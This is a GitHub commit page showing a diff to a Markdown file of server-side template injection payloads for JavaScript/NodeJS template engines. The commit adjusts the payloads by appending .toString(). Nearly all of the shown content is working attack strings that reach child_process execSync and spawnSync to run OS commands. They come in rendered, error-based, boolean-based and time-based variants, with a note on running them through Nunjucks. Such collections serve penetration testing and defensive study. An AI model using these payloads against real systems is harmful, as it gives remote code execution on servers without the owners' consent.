Skip to content

Commit bec6524

Browse files
committed
SSTI:
- Fixed NodeJS payloads
1 parent 09a5f07 commit bec6524

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

Server Side Template Injection/JavaScript.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -41,17 +41,17 @@ To use these payloads, wrap them in the appropriate tag.
4141

4242
```javascript
4343
// Rendered RCE
44-
global.process.mainModule.require("child_process").execSync("id")
44+
global.process.mainModule.require("child_process").execSync("id").toString()
4545

4646
// Error-Based RCE
47-
global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id"))
48-
""["x"][global.process.mainModule.require("child_process").execSync("id")]
47+
global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString())
48+
""["x"][global.process.mainModule.require("child_process").execSync("id").toString()]
4949

5050
// Boolean-Based RCE
5151
[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"]
5252

5353
// Time-Based RCE
54-
global.process.mainModule.require("child_process").execSync("id && sleep 5")
54+
global.process.mainModule.require("child_process").execSync("id && sleep 5").toString()
5555
```
5656

5757
NunjucksJS is also capable of executing these payloads using `{{range.constructor(' ... ')()}}`.

0 commit comments

Comments
 (0)